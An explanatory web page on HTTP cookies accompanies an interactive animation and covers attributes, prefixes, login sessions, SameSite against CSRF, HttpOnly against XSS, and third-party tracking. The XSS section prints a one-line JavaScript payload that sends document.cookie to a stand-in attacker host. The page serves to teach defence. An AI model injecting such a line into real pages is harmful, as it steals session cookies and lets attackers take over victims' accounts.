What a cookie is

HTTP is stateless: every request stands alone, and the server cannot tell whether two requests come from the same person. A cookie is a small name=value pair that a server asks the browser to keep and to send back on later requests. It is how a site remembers that you logged in, what is in your cart, or which language you chose.

Two headers do all the work. The server sets a cookie in a response:

HTTP/1.1 303 See Other
Set-Cookie: sid=a1f3c9; Path=/; Secure; HttpOnly; SameSite=Lax

and the browser returns it in every later request that the cookie matches, without any attributes, just the names and values:

GET /cart HTTP/1.1
Host: shop.example
Cookie: sid=a1f3c9; lang=vi

The key point, and what the animation is about: the server only sets cookies; the browser decides, for every single request, which cookies to attach. In the animation, each request runs the match rules on every cookie in the jar and prints one line per cookie in the cookie check panel: sent, or the first rule that stopped it.

Sequence between alice's browser and shop.example: POST /login, the 303 response carries Set-Cookie sid=a1f3c9, the browser stores it in its cookie jar next to lang=vi, and the later GET /cart carries Cookie: sid=a1f3c9; lang=vi so the shop recognises alice
The server sets a cookie once; the browser keeps it in its jar and sends it back on every later request that matches.

Reading the canvas: the arrow colour is the host the request goes to: shop.example, api.shop.example, evil.example, ads.example; the grey line under an arrow is its Cookie or Set-Cookie header. In the jar's flags column, H = HttpOnly, S = Secure, then the SameSite value (* = not set). The network column names what triggered the request; the line under the diagram gives the full request (same-site or cross-site, kind, top-level site) and its headers.

The attributes

AttributeEffectDefault when missing
Domain=shop.examplesent to that host and all its subdomains (api.shop.example)host-only: only the exact host that set it
Path=/blogsent only for URLs whose path is /blog or starts with /blog/the directory of the URL that set it
Expires= / Max-Age=a persistent cookie, kept until that time (Max-Age wins if both are given); Max-Age=0 deletes ita session cookie, gone when the browser closes
Securesent only over HTTPS (and can only be set from HTTPS)sent over plain HTTP too, readable by anyone on the path
HttpOnlynot visible to JavaScript (document.cookie), still sent with requestsreadable and writable by any script on the page
SameSite=Strict | Lax | Nonewhether the cookie goes with cross-site requests (below)browsers now treat a missing SameSite as Lax
Partitioned(CHIPS) a third-party cookie kept in a separate jar per top-level siteunpartitioned

A cookie is identified by its name, domain and path (plus the partition key): a new Set-Cookie with the same three replaces the old one, and to delete a cookie the server must send the same name, domain and path with Max-Age=0. Two cookies with the same name but different paths or domains can coexist, and then both are sent, which is a classic source of bugs.

Domain can only widen to a parent the host belongs to: shop.example may set Domain=shop.example, but not Domain=evil.example, and nobody may set a cookie for a public suffix such as .com or github.io (the browser ships the Public Suffix List). Run Demo: scope to see lang (Domain) reach the API while sid (host-only) and blog_pref (Path=/blog) stay behind.

Grid of three cookies against three requests: sid (host-only, Path=/) goes to shop.example/ and /blog but not api.shop.example/me; lang (Domain=shop.example) goes to all three; blog_pref (Path=/blog) goes only to shop.example/blog
Domain and Path decide per request which cookies go along: only lang, with Domain=shop.example, reaches the API.

Cookie prefixes: __Host- and __Secure-

Any attribute can be set by whoever sets the cookie, including a compromised subdomain or a plain-HTTP response that sets a cookie for the whole domain. Name prefixes make the browser enforce attributes: a cookie named __Secure-sid is only accepted with Secure from an HTTPS page; __Host-sid additionally requires Path=/ and no Domain, so it is locked to exactly one host. __Host- is the best choice for session cookies.

Login sessions

After a successful login the server creates a session on its side (user, cart, expiry) and gives the browser only a long random id in a cookie. Whoever presents that id is the user, so the id is as valuable as the password for as long as the session lives. Good practice, as in the animation:

  • a new id at every login (the old one is dropped), so an id planted before login (session fixation) is worthless;
  • Secure; HttpOnly; SameSite=Lax (or Strict), ideally the __Host- prefix;
  • logout deletes the session on the server, not only the cookie in the browser: a copied id must stop working;
  • an idle and an absolute timeout on the server side, whatever the cookie's lifetime.

A signed or encrypted token (for example a JWT) can be stored in the cookie instead of an id, so the server keeps no state; the same attributes apply, and logout becomes harder because the token stays valid until it expires.

Same site, cross site, first and third party

A site is the registrable domain: shop.example and api.shop.example are the same site (but different origins), evil.example is another site. A request is cross-site when the site it goes to differs from the top-level page's site, or from the site that started it (a link or form on evil.example pointing to shop.example). A third-party context is a request whose site differs from the top-level page, such as an ads.example iframe inside shop.example. The network panel of the animation shows both for every request.

CSRF and SameSite

Before SameSite, the browser attached cookies to every request to a host, whoever started it. So a page on evil.example could contain a hidden form that posts to shop.example/cart, and alice's browser would add her session cookie: the shop sees a perfectly authenticated request that alice never made. This is cross-site request forgery (CSRF). SameSite lets the cookie say when it may join cross-site requests:

SameSitesame-site requestscross-site link (top-level GET)cross-site form POST, fetch, iframe, image
Strictsentnot sent: you arrive logged outnot sent
Lax (and missing)sentsentnot sent
None (needs Secure)sentsentsent
A hidden form on evil.example posts cross-site to shop.example/cart; with SameSite=None alice's sid cookie is sent and the CSRF works, with Lax or Strict it is not sent and the shop sees a logged-out request
A forged cross-site POST only carries alice's session cookie when it is SameSite=None.

Demo: CSRF and SameSite runs the same hidden form against all three. Lax is the usual choice: it stops the forged POST but keeps you logged in when you follow a link to the site. It only works if GET requests never change anything. Lax does not protect against attacks from a same-site origin (a compromised subdomain), and Chrome briefly allowed cross-site top-level POSTs for cookies without an explicit SameSite in their first two minutes ("Lax-allowing-unsafe"), so sites that change state still use CSRF tokens or check the Origin / Sec-Fetch-Site headers as well.

XSS and HttpOnly

If the shop echoes user content without escaping it, an attacker can put a <script> on its pages (cross-site scripting). That script runs with the page's rights and can read document.cookie, then send it away, for example as new Image().src = "https://evil.example/steal?c=" + document.cookie. With the session id in hand, the attacker is logged in as the victim from any machine. HttpOnly removes a cookie from document.cookie while still sending it with requests: the id cannot be stolen this way (Demo: XSS and HttpOnly). It is damage limitation, not a cure: the script can still make requests from inside the page while it is open. The cure is escaping output and a Content Security Policy.

Third-party cookies, tracking and partitioning

An ad network embedded on many sites receives its own cookies from every one of them: the first embed sets uid=…, and each later embed, on any site, sends it back together with the page it is on. The network builds one profile of everywhere that browser went (Demo: third-party tracking, first part). Browsers have responded in two ways:

  • Blocking third-party cookies altogether (Safari by default, an option elsewhere): embeds get no cookies at all.
  • Partitioning: a cookie set in a third-party context is filed under the top-level site, so ads.example inside shop.example and ads.example inside evil.example have two unrelated jars and two unrelated ids. Firefox (Total Cookie Protection) partitions all third-party cookies; Chrome offers opt-in partitioning with the Partitioned attribute (CHIPS), useful for embeds that need state but not tracking, such as a chat widget.

Third-party cookies are also what legitimate cross-site features used (single sign-on in an iframe, embedded payment); those move to explicit APIs such as the Storage Access API or to redirects.

Limits, and cookies vs localStorage

Browsers keep at least 4096 bytes per cookie (name, value and attributes) and at least 50 cookies per domain (RFC 6265bis recommends these minimums; most keep about 180 per domain), evicting the least recently used when full. Every matching cookie travels with every request, images and scripts included, so big cookies cost bandwidth on every request; static files are often served from a separate cookieless domain for that reason.

localStorage holds more (about 5 MB per origin), is never sent automatically and is always readable by scripts. That makes it wrong for session ids (any XSS reads it) but fine for UI preferences. Cookies are the only storage the browser attaches to requests by itself, which is exactly why their attributes matter.

What the page leaves out

  • The exact default path (the directory of the URL that set the cookie): every cookie here names its Path.
  • Cookie prefixes, the Partitioned attribute as a per-cookie opt-in (the page models partitioning as a browser policy), the Storage Access API and first-party sets.
  • Limits and eviction (at most 8 cookies are ever in the jar), cookie ordering rules beyond "longer paths first", and the "Lax-allowing-unsafe" window.
  • HSTS, which would upgrade http://shop.example before any cookie is sent, and Origin / Sec-Fetch-Site checks and CSRF tokens on the server.
  • How the server stores sessions (memory, Redis, a signed token), and cookies set from JavaScript with document.cookie = … or the Cookie Store API.